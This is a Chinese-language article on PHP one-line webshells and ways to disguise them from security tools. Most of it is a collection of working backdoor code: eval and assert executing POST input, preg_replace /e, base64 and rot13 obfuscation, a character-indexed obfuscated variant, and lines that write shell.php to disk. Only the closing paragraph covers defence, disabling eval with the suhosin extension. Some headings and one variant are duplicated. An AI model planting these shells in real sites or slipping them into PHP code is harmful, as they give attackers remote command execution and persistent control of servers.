揭开黑客的隐秘手法
介绍:在网络安全的攻防世界中,PHP一句话木马可谓是黑客们的“隐秘杀手”。一句话木马之所以危险,不仅在于它的短小精悍、隐蔽性强,还在于它能不断变形,轻易绕过防护系统。本文将带你一探黑客如何利用这些神秘代码突破网站的层层防护,掌控服务器,让我们揭开PHP一句话木马变形背后的暗黑技术。
一句话木马的起源与基础
“一句话木马”最早可以追溯到互联网初期,黑客们就发现PHP代码可以通过单行代码实现控制功能。最简单的PHP一句话木马可能就像 <?php eval($_POST['cmd']); ?> 这样,通过 eval() 函数动态执行代码,攻击者只需传递特定参数,即可执行任意命令。表面上看,这段代码平淡无奇,但它的威力却让网络管理员闻风丧胆。
一句话木马的起源与基础
下面整理了一下当前最常见的PHP后门:
最流行的一种后门叫做一句话木马,例如:<?php eval($_POST[‘cmd’]);?>
原理:
1.在PHP脚本语言中,eval或者assert(code)的功能是将code组合成php命令,然后将命令执行。
2.<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执行 echo phpinfo();语句。
优点:短小精悍,功能强大。
缺点:容易被安全软件检测出来。
为了增强隐蔽性,减小被检测的出来的概率,出现了各种一句话木马的变形。
下面是我做的几种测试,当然一句话的变形并不局限于以下,我们也可以传入文档,在用动态写入语句,在同级目录下创建一句话后门,比如:<?php fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[‘cmd’]);?>”)?>
1.混淆技术
混淆是变形最常见的一种形式,黑客们可以通过字符串编码、变量拼接等手段隐藏木马的真实意图。例如:
<?php ${'_'.'P'.'O'.'S'.'T'}['cmd'] = "系统命令";
将字符逐个拼接,安全系统很难精准识别出这段代码的恶意意图。此类手法堪称“伪装大师”,使代码显得平平无奇,但仍然具备执行恶意操作的能力。
2. 利用assert()函数变形
eval()函数经常成为安全系统的检测目标,因此黑客们找到了替代函数——assert()。这个函数同样可以执行PHP代码,但不易被标记。比如:
<?php assert($_POST['cmd']); ?>
在使用场景上与 eval() 类似,却更难被安全软件识别,给网站管理员带来了不小的防御难题。
3. 基于preg_replace()的恶意代码执行
利用正则函数执行代码是木马变形的另一种高明手法。某些环境下, preg_replace() 可以执行替换代码,变形如下:
<?php preg_replace('/.*/e', $_POST['cmd'], ''); ?>
这种形式掩盖了 eval() 的使用,达到同样的效果,使得安全策略更难防御。
高级变形:动态加密与自解密技术
为了进一步提升隐蔽性,黑客们引入了加密和自解密技术。加密后的木马代码会以密文形式存在,只有通过特定的解密操作才能还原成可执行代码。这种手法通常使用 base64_encode() 和 base64_decode() 等函数,具体示例如下:
<?php eval(base64_decode("ZWNobyBoZWxsbyB3b3JsZA==")); ?>
攻击者传递的参数将被解码并执行,绕过静态检测,只有在实际执行时才能被识别,这也使得入侵行为更加难以察觉。
变形一
<?php $a=str_replace("x", "", "axsxxxxsxexrt"); $a($_POST["cmd"]); ?>
变形二
<?php $fun=create_function('',$_POST['a']); $fun(); ?>
变形三
<?php @call_user_func(assert,$_POST['a']); ?>
变形四
<?php @$test='<?php $a=$_POST["cmd"];assert($a); ?>'; file_put_contents("shell.php", $test); ?>
变形四
<?php @call_user_func(assert,$_POST['a']); ?>
变形五
<?php $a = "assert"; $a(@$_POST['a']); ?>
变形六
<?php $__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09"; $__P_P="abcdefghijklmnopqrstuvwxyz"; $__X_X="123456789"; $__O_O=$__X_X[5].$__X_X[3]."_"; $__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4]; $__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4]; $__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11]; $__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4]; $__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13]; $_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");'); @$_[00]($__H_H($__H_H($__C_C))); ?> //解码后即==> eval($_POST[x]);
变形七
<?php $a=str_replace("Waldo", "", "aWaldossert"); $a(@$_POST['a']); ?>
变形八
<?php $_=base64_decode("YXNzZXJ0"); $_(str_rot13('riny($_CBFG[cntr]);')) ?>
变形九
<?php $a="a"."s"."s"; $b="e"."r"."t"; $c=$a.$b; $c($_POST['a']) ?>
变形十
<?php $str="a=assert"; parse_str($str); //$a=eval $a($_POST['a']); ?>
变形十一
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, $e); ?>
为什么一句话木马难以根除?
PHP 一句话木马的变形技术持续迭代,使得防护手段往往刚上线就被破解。究其原因,这类木马利用了PHP的动态性和灵活性,这种语言本身允许动态执行代码。黑客们也非常擅长利用各种PHP函数,
发现和利用语言特性形成“暗门”。这种持久对抗的背后,揭示了攻防技术相互博弈的真实写照。
<?php @eval($_GET['aa']); ?>
eval会将请求的aa作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令;
例如请求为?aa=phpinfo()就可以查看php的具体信息
eval无法通过disable_functions禁止,但是可以使用suhosin扩展禁止eval函数
windwos服务器安装suhosin的方法:
将下载的对应版本dll文件放在php的ext目录下(目前只找到了php5.4 5.5 5.6)(x86和x64)
然后在php.ini中加入
extension=php_suhosin.dll suhosin.executor.disable_eval = on
重启php即可
linux安装suhosin的方法:
百度上教程很多
github地址:https://gitee.com/durkblue/suhosin.git